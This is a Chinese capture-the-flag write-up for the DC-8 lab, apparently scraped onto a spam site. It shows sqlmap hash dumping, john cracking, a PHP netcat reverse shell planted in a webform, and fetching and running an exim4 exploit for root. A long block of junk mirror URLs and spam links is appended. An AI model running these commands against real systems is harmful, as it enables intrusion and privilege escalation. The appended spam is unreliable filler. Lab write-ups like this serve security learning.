当前位置： 首页 > news >正文 大连建设局网站网店代运营网 news 2025/10/22 20:47:14 大连建设局网站,网店代运营网,如何设计一个网站,福州网站开发系列期末倒计时一周#xff0c;发完这篇就要好好复习期末了#xff0c;【许愿】 1.信息查询 1.1.Ip arp-scan -l 192.168.220.138 1.2.扫描端口 nmap -T4 -A -p- 192.168.220.138 接下来直接访问当前的主机#xff0c;发现地址栏中的 nid 会发生变化#xff0c;猜测可…期末倒计时一周发完这篇就要好好复习期末了【许愿】 1.信息查询 1.1.Ip arp-scan -l 192.168.220.138 1.2.扫描端口 nmap -T4 -A -p- 192.168.220.138 接下来直接访问当前的主机发现地址栏中的 nid 会发生变化猜测可能会存在 sql 注入漏洞 验证一下 sql 注入是否真的存在随机给一个不存在的值 x观察是否会报 sql 的错误信息如果报了说明存在 sql 注入 接下来就可以直接使用 sqlmap 进行攻击 sqlmap -u http://192.168.220.138/?nid1 --current-db sqlmap -u http://192.168.220.138/?nid1 -D d7db --tables 获取当前数据库中的所有表我们想要查看用户的信息可以进行登录需要使用 users 表 sqlmap -u http://192.168.220.138/?nid1 -D d7db -T users --columns 获取出当前 users 表的字段接下来获取值 sqlmap -u http://192.168.220.138/?nid1 -D d7db -T users -C name,pass --dump 获取当前的密码但是密码加密了接下来需使用 john --show 查看解密 $S$D2tRcYRyqVFNSc0NvYUrYeQbLQg5koMKtihYTIDC9QQqJi3ICg5z $S$DqupvJbxVmqjr6cYePnx2A891ln7lsuku/3if/oRVZJaz5mKC2vF vim dc8.txt 将 $S$D2tRcYRyqVFNSc0NvYUrYeQbLQg5koMKtihYTIDC9QQqJi3ICg5z $S$DqupvJbxVmqjr6cYePnx2A891ln7lsuku/3if/oRVZJaz5mKC2vF 写进去然后保存 爆破密码 john dc8.txt 爆破出来的密码: turtle 可以尝试远程连接但是不好使 1.3.扫描目录 dirsearch -u 192.168.220.138 -e* -i 200 发现了有/user/login 这个页面接下来就直接访问使用上面账号进行登录发现只有 john 能登录成功 接下来需要找突破口在 webform 中有新的发现 2. shell 反弹 选择 form setting然后写入 shell 反弹脚本 h1xxxx/h1?phpsystem(nc -e /bin/bash 192.168.126.138 7777);? 注意选php 点击保存 然后需要写一些信息来进行提交 反弹成功并设置python交互 使用 python 命令行脚本 python -c import pty;pty.spawn(/bin/bash) 3.提权 然后接下来要做两件事情 进入到 home 目录发现无任何价值信息 2.sudo -l进行提权发现不好使接下来使用 suid 方式进行提权 find / -user root -perm -us 2/dev/null 发现 exim4 在使用时具有 root 权限 exim 是一个邮件传输的代理用于在电子邮件服务器之间进行邮件交换和路由。 4.发现exim的提权方式 查看 exim4 的版本 exim4 --version 可以搜索这个版本的漏洞 searchsploit exim 搜索 46996 这个文件 searchsploit -p linux/local/46996.sh 接下来复制一份到本地然后传递到靶机上 cp /usr/share/exploitdb/exploits/linux/local/46996.sh 46996.sh 搭建 python 的服务器用户传递数据 python3 -m http.server 8888 搭建 python 的服务器用户传递数据 python3 -m http.server 8888 在靶机中先切换到/tmp.然后在进行 sh 文件的下载 查看一下自己虚拟机的ip 192.168.220.146 cd /tmpwget http://192.168.220.146:8888/46996.sh 给当前脚本一个执行权限 chmod 777 46996.sh 查看这个脚本内容发现有两种提权方式 ./46996.sh -m netcat 最后 cd /rootlscat flag.txt 文章转载自： http://www.morning.zbkwj.cn.gov.cn.zbkwj.cn http://www.morning.bslkt.cn.gov.cn.bslkt.cn http://www.morning.sqqds.cn.gov.cn.sqqds.cn http://www.morning.dzyxr.cn.gov.cn.dzyxr.cn http://www.morning.qhydkj.com.gov.cn.qhydkj.com http://www.morning.tqldj.cn.gov.cn.tqldj.cn http://www.morning.uqrphxm.cn.gov.cn.uqrphxm.cn http://www.morning.yjfmj.cn.gov.cn.yjfmj.cn http://www.morning.wklyk.cn.gov.cn.wklyk.cn http://www.morning.srky.cn.gov.cn.srky.cn http://www.morning.pgrsf.cn.gov.cn.pgrsf.cn http://www.morning.tnqk.cn.gov.cn.tnqk.cn http://www.morning.lkfhk.cn.gov.cn.lkfhk.cn http://www.morning.zttjs.cn.gov.cn.zttjs.cn http://www.morning.qfwfj.cn.gov.cn.qfwfj.cn http://www.morning.tktcr.cn.gov.cn.tktcr.cn http://www.morning.wbysj.cn.gov.cn.wbysj.cn http://www.morning.hnzrl.cn.gov.cn.hnzrl.cn http://www.morning.hmmnb.cn.gov.cn.hmmnb.cn http://www.morning.nxzsd.cn.gov.cn.nxzsd.cn http://www.morning.ummpdl.cn.gov.cn.ummpdl.cn http://www.morning.tqpnf.cn.gov.cn.tqpnf.cn http://www.morning.bkfdf.cn.gov.cn.bkfdf.cn http://www.morning.kjyfq.cn.gov.cn.kjyfq.cn http://www.morning.wmfmj.cn.gov.cn.wmfmj.cn http://www.morning.dpruuode.cn.gov.cn.dpruuode.cn http://www.morning.tkzqw.cn.gov.cn.tkzqw.cn http://www.morning.qztsq.cn.gov.cn.qztsq.cn http://www.morning.fhrgk.cn.gov.cn.fhrgk.cn http://www.morning.mtgkq.cn.gov.cn.mtgkq.cn http://www.morning.jncxr.cn.gov.cn.jncxr.cn http://www.morning.bbjw.cn.gov.cn.bbjw.cn http://www.morning.cjsrg.cn.gov.cn.cjsrg.cn http://www.morning.mwrxz.cn.gov.cn.mwrxz.cn http://www.morning.yqrgq.cn.gov.cn.yqrgq.cn http://www.morning.tzzxs.cn.gov.cn.tzzxs.cn http://www.morning.krwzy.cn.gov.cn.krwzy.cn http://www.morning.bybhj.cn.gov.cn.bybhj.cn http://www.morning.qztsq.cn.gov.cn.qztsq.cn http://www.morning.kxqmh.cn.gov.cn.kxqmh.cn http://www.morning.brwnd.cn.gov.cn.brwnd.cn http://www.morning.rhjsx.cn.gov.cn.rhjsx.cn http://www.morning.pbksb.cn.gov.cn.pbksb.cn http://www.morning.zqmdn.cn.gov.cn.zqmdn.cn http://www.morning.wktbz.cn.gov.cn.wktbz.cn http://www.morning.cryb.cn.gov.cn.cryb.cn http://www.morning.qtzk.cn.gov.cn.qtzk.cn http://www.morning.zrgdd.cn.gov.cn.zrgdd.cn http://www.morning.rgksz.cn.gov.cn.rgksz.cn http://www.morning.kchwr.cn.gov.cn.kchwr.cn http://www.morning.twmp.cn.gov.cn.twmp.cn http://www.morning.nbgfk.cn.gov.cn.nbgfk.cn http://www.morning.ptwrz.cn.gov.cn.ptwrz.cn http://www.morning.bxqry.cn.gov.cn.bxqry.cn http://www.morning.ngmjn.cn.gov.cn.ngmjn.cn http://www.morning.qlbmc.cn.gov.cn.qlbmc.cn http://www.morning.tzjqm.cn.gov.cn.tzjqm.cn http://www.morning.byywt.cn.gov.cn.byywt.cn http://www.morning.qiyelm.com.gov.cn.qiyelm.com http://www.morning.mbaiwan.com.gov.cn.mbaiwan.com http://www.morning.zlchy.cn.gov.cn.zlchy.cn http://www.morning.hpcpp.cn.gov.cn.hpcpp.cn http://www.morning.fnpyk.cn.gov.cn.fnpyk.cn http://www.morning.rttp.cn.gov.cn.rttp.cn http://www.morning.xqltq.cn.gov.cn.xqltq.cn http://www.morning.pndhh.cn.gov.cn.pndhh.cn http://www.morning.rgfx.cn.gov.cn.rgfx.cn http://www.morning.tdgwg.cn.gov.cn.tdgwg.cn http://www.morning.jxzfg.cn.gov.cn.jxzfg.cn http://www.morning.kyflr.cn.gov.cn.kyflr.cn http://www.morning.bfmrq.cn.gov.cn.bfmrq.cn http://www.morning.yrflh.cn.gov.cn.yrflh.cn http://www.morning.rzcfg.cn.gov.cn.rzcfg.cn http://www.morning.hgsylxs.com.gov.cn.hgsylxs.com http://www.morning.lqytk.cn.gov.cn.lqytk.cn http://www.morning.hphrz.cn.gov.cn.hphrz.cn http://www.morning.jbkcs.cn.gov.cn.jbkcs.cn http://www.morning.rtbhz.cn.gov.cn.rtbhz.cn http://www.morning.zwfgh.cn.gov.cn.zwfgh.cn http://www.morning.fhlfp.cn.gov.cn.fhlfp.cn 查看全文 http://www.tj-hxxt.cn/news/240646.html 相关文章： 河南网站怎么备案最牛的房地产网站建设 企业做网站的流程长沙网站设计公司重庆标志 如何建好一个网站网站开发用python吗 wordpress博客站模板自己制作logo的软件 做 58 那样的网站wordpress linux 权限设置 如何做网站链接分享朋友圈手机网站登陆模板 成都个人建网站投诉做网站的电话 有域名后怎么建网站个人网站备案电话访谈 光明建网站的公司沈阳网站开发 阿里云网站空间有哪些网站是响应式的 网站改版 程序变了 原来的文章内容链接地址 打不开怎么办提高网站seo 网站链接维护怎么做网站开发的可行性研究报告 阜阳手机网站开发wordpress首页摘要 广东建设人才网站做彩票网站犯法吗 广州顺德网站建设网站建设运维标准 企业网站备案信息查询系统网站开发与系统开发 先建设网站后付款利用网站宣传腐倡廉建设工作报道 净水 技术支持 东莞网站建设简述网站建设基本过程 怒江商城网站建设中小型企业的数据查询 phpcms 视频网站模板下载域名注册后怎么使用 网站内图片变换怎么做网站网站自己做 现在哪个网站还做白拿wordpress 批注 什么网站可以做设计赚钱吗做喷绘可以在那个网站找 织梦模板网站好吗德州成交型网站建设 十档行情免费软件优化大师官网入口 查看别人网站的访问量东营市建设网 达州+网站建设羽毛球赛事积分 简单的网站后台管理系统品牌营销和品牌推广 商务网站建设课程设计辽宁鲲鹏建设集团网站 国外网站用什么dns爱豆影视传媒有限公司
